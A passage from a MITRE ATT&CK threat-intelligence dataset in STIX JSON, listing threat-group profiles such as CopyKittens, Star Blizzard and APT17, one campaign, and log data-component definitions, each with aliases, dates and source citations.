2023)","aliases":["MoustachedBouncer"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"intrusion-set","id":"intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28","created":"2023-09-25T18:11:05.672Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1019","external_id":"G1019"},{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","mobile-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Social Media","description":"Established, compromised, or otherwise acquired social media personas","x_mitre_data_source_ref":"x-mitre-data-source--3bef4799-906c-409c-ac00-3fb7a1e352e6","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["CopyKittens"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","created":"2018-01-16T16:13:52.465Z","x_mitre_version":"1.6","external_references":[{"source_name":"mitre-attack","external_id":"G0052","url":"https://attack.mitre.org/groups/G0052"},{"source_name":"CopyKittens","description":"(Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)"},{"source_name":"ClearSky Wilted Tulip July 2017","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017."},{"source_name":"ClearSky CopyKittens March 2017","url":"http://www.clearskysec.com/copykitten-jpost/","description":"ClearSky Cyber Security. (2017, March 30). Jerusalem Post and other Israeli websites compromised by Iranian threat agent CopyKitten. Retrieved August 21, 2017."},{"source_name":"CopyKittens Nov 2015","url":"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf","description":"Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip.(Citation: ClearSky CopyKittens March 2017)(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)","modified":"2022-08-08T21:29:36.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"CopyKittens","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Firewall Rule Modification","description":"Changes made to a firewall rule, typically to allow/block specific network traffic (ex: Windows EID 4950 or Write/Delete entries within Azure Firewall Rule Collection Activity Logs)","x_mitre_data_source_ref":"x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Cloud Service Metadata","description":"Contextual data about a cloud service and activity around it such as name, type, or purpose/function","x_mitre_data_source_ref":"x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--d46272ce-a0fe-4256-855e-738de7bb63ee","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.275Z","name":"Volume Modification","description":"Changes made to a cloud volume, including its settings and control data (ex: AWS modify-volume)","x_mitre_data_source_ref":"x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-06-14T18:39:26.684Z","name":"Star Blizzard","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) is a cyber espionage and influence group originating in Russia that has been active since at least 2019. [Star Blizzard](https://attack.mitre.org/groups/G1033) campaigns align closely with Russian state interests and have included persistent phishing and credential theft against academic, defense, government, NGO, and think tank organizations in NATO countries, particularly the US and the UK.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard)(Citation: Google TAG COLDRIVER January 2024)\n","aliases":["Star Blizzard","SEABORGIUM","Callisto Group","TA446","COLDRIVER"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Aung Kyaw Min Naing, @Nolan"],"type":"intrusion-set","id":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","created":"2024-06-14T18:17:18.727Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1033","external_id":"G1033"},{"source_name":"Callisto Group","description":"(Citation: CISA Star Blizzard Advisory December 2023)"},{"source_name":"TA446","description":"(Citation: CISA Star Blizzard Advisory December 2023)"},{"source_name":"COLDRIVER","description":"(Citation: Google TAG COLDRIVER January 2024)"},{"source_name":"SEABORGIUM","description":"(Citation: Microsoft Star Blizzard August 2022)"},{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"},{"source_name":"Microsoft Star Blizzard August 2022","description":"Microsoft Threat Intelligence. (2022, August 15). Disrupting SEABORGIUM’s ongoing phishing operations. Retrieved June 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations/"},{"source_name":"StarBlizzard","description":"Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/"},{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Thrip"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172","type":"intrusion-set","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0076","external_id":"G0076"},{"source_name":"Thrip","description":"(Citation: Symantec Thrip June 2018)"},{"url":"https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets","description":"Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.","source_name":"Symantec Thrip June 2018"}],"modified":"2021-10-12T20:13:42.274Z","name":"Thrip","description":"[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as \"living off the land\" techniques. (Citation: Symantec Thrip June 2018)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-29T18:06:43.110Z","name":"C0026","description":"[C0026](https://attack.mitre.org/campaigns/C0026) was a campaign identified in September 2022 that included the selective distribution of [KOPILUWAK](https://attack.mitre.org/software/S1075) and [QUIETCANARY](https://attack.mitre.org/software/S1076) malware to previous [ANDROMEDA](https://attack.mitre.org/software/S1074) malware victims in Ukraine through re-registered [ANDROMEDA](https://attack.mitre.org/software/S1074) C2 domains. Several tools and tactics used during [C0026](https://attack.mitre.org/campaigns/C0026) were consistent with historic [Turla](https://attack.mitre.org/groups/G0010) operations.(Citation: Mandiant Suspected Turla Campaign February 2023)","aliases":["C0026"],"first_seen":"2022-08-01T05:00:00.000Z","last_seen":"2022-09-01T04:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Mandiant Suspected Turla Campaign February 2023)","x_mitre_last_seen_citation":"(Citation: Mandiant Suspected Turla Campaign February 2023)","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Yoshihiro Kori, NEC Corporation","Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India"],"type":"campaign","id":"campaign--c89fa3ff-4773-4daf-8aec-d8f43f10116e","created":"2023-05-15T19:17:48.880Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0026","external_id":"C0026"},{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.275Z","name":"Domain Registration","description":"Information about domain name assignments and other domain metadata (ex: WHOIS)","x_mitre_data_source_ref":"x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Stolen Pencil"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70","type":"intrusion-set","created":"2019-02-05T17:56:55.233Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"external_id":"G0086","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0086"},{"source_name":"Stolen Pencil","description":"(Citation: Netscout Stolen Pencil Dec 2018)"},{"source_name":"Netscout Stolen Pencil Dec 2018","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."}],"modified":"2021-10-07T12:21:31.309Z","name":"Stolen Pencil","description":"[Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-19T19:35:15.637Z","name":"PROMETHIUM","description":"[PROMETHIUM](https://attack.mitre.org/groups/G0056) is an activity group focused on espionage that has been active since at least 2012. The group has conducted operations globally with a heavy emphasis on Turkish targets. [PROMETHIUM](https://attack.mitre.org/groups/G0056) has demonstrated similarity to another activity group called [NEODYMIUM](https://attack.mitre.org/groups/G0055) due to overlapping victim and campaign characteristics.(Citation: Microsoft NEODYMIUM Dec 2016)(Citation: Microsoft SIR Vol 21)(Citation: Talos Promethium June 2020)","aliases":["PROMETHIUM","StrongPity"],"x_mitre_deprecated":false,"x_mitre_version":"2.1","type":"intrusion-set","id":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0056","external_id":"G0056"},{"source_name":"PROMETHIUM","description":"(Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)"},{"source_name":"Microsoft SIR Vol 21","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"},{"source_name":"Talos Promethium June 2020","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html"},{"source_name":"Microsoft NEODYMIUM Dec 2016","description":"Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.","url":"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"},{"source_name":"StrongPity","description":"The name StrongPity has also been used to describe the group and the malware used by the group.(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)"},{"source_name":"Bitdefender StrongPity June 2020","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["GCMAN"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f","type":"intrusion-set","created":"2017-05-31T21:32:05.611Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0036","external_id":"G0036"},{"source_name":"GCMAN","description":"(Citation: Securelist GCMAN)"},{"source_name":"Securelist GCMAN","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.","url":"https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/"}],"modified":"2020-03-30T19:03:44.853Z","name":"GCMAN","description":"[GCMAN](https://attack.mitre.org/groups/G0036) is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--f1eb6ea9-f3ab-414f-af35-2d5427199984","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Snapshot Modification","description":"Changes made to a snapshop, such as metadata and control data (ex: AWS modify-snapshot-attribute)","x_mitre_data_source_ref":"x-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--0f72bf50-35b3-419d-ab95-70f9b6a818dd","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.275Z","name":"Volume Metadata","description":"Contextual data about a cloud volume and activity around it, such as id, type, state, and size","x_mitre_data_source_ref":"x-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Ferocious Kitten"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Manikantan Srinivasan, NEC Corporation India","Hiroki Nagahama, NEC Corporation"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02","type":"intrusion-set","created":"2021-09-28T17:41:12.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0137","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0137"},{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-25T14:28:10.337Z","name":"Ferocious Kitten","description":"[Ferocious Kitten](https://attack.mitre.org/groups/G0137) is a threat group that has primarily targeted Persian-speaking individuals in Iran since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--1177a4c5-31c8-400c-8544-9071166afa0e","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Windows Registry Key Deletion","description":"Removal of a Registry Key (ex: Windows EID 4658 or Sysmon EID 12)","x_mitre_data_source_ref":"x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["PittyTiger"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647","type":"intrusion-set","created":"2017-05-31T21:31:50.198Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0011","url":"https://attack.mitre.org/groups/G0011","source_name":"mitre-attack"},{"source_name":"PittyTiger","description":"(Citation: Bizeul 2014) (Citation: Villeneuve 2014)"},{"url":"https://airbus-cyber-security.com/the-eye-of-the-tiger/","description":"Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.","source_name":"Bizeul 2014"},{"url":"https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html","description":"Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.","source_name":"Villeneuve 2014"}],"modified":"2021-10-12T23:11:41.368Z","name":"PittyTiger","description":"[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.(Citation: Bizeul 2014)(Citation: Villeneuve 2014)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-04T17:04:35.669Z","name":"APT17","description":"[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)","aliases":["APT17","Deputy Dog"],"x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"intrusion-set","id":"intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae","created":"2017-05-31T21:31:57.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0025","external_id":"G0025"},{"source_name":"APT17","description":"(Citation: FireEye APT17)"},{"source_name":"Deputy Dog","description":"(Citation: FireEye APT17)"},{"source_name":"FireEye APT17","description":"FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.","url":"https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--45d0ff14-b9c4-41f5-8603-156657c20b75","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Instance Modification","description":"Changes made to an instance, including its settings and/or control data (ex: instance.addResourcePolicies or instances.setMetadata within GCP Audit Logs)","x_mitre_data_source_ref":"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--07688e40-a7fa-4436-937f-1216674341a0","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Pod Enumeration","description":"An extracted list of pods within a cluster (ex: kubectl get pods)","x_mitre_data_source_ref":"x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--8d8c7cac-94cf-4726-8989-cab33851168c","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.275Z","name":"Group Metadata","description":"Contextual data about a group which describes group and activity around it, such as name, permissions, or user accounts within the group","x_mitre_data_source_ref":"x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--8b4ca854-ac08-47da-b24f-601b28a39aff","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Image Deletion","description":"Removal of a virtual machine image (ex: Azure Compute Service Images DELETE)","x_mitre_data_source_ref":"x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["BlackOasis"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--da49b9f1-ca99-443f-9728-0a074db66850","type":"intrusion-set","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0063","external_id":"G0063"},{"source_name":"BlackOasis","description":"(Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017)"},{"source_name":"Securelist BlackOasis Oct 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.","url":"https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/"},{"source_name":"Securelist APT Trends Q2 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.","url":"https://securelist.com/apt-trends-report-q2-2017/79332/"},{"source_name":"CyberScoop BlackOasis Oct 2017","description":"Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.","url":"https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/"}],"modified":"2018-10-17T00:14:20.652Z","name":"BlackOasis","description":"[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["IndigoZebra"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Yoshihiro Kori, NEC Corporation","Manikantan Srinivasan, NEC Corporation India"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1","type":"intrusion-set","created":"2021-09-24T21:41:34.797Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0136","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0136"},{"source_name":"IndigoZebra","description":"(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)"},{"source_name":"HackerNews IndigoZebra July 2021","url":"https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html","description":"Lakshmanan, R.. (2021, July 1). IndigoZebra APT Hacking Campaign 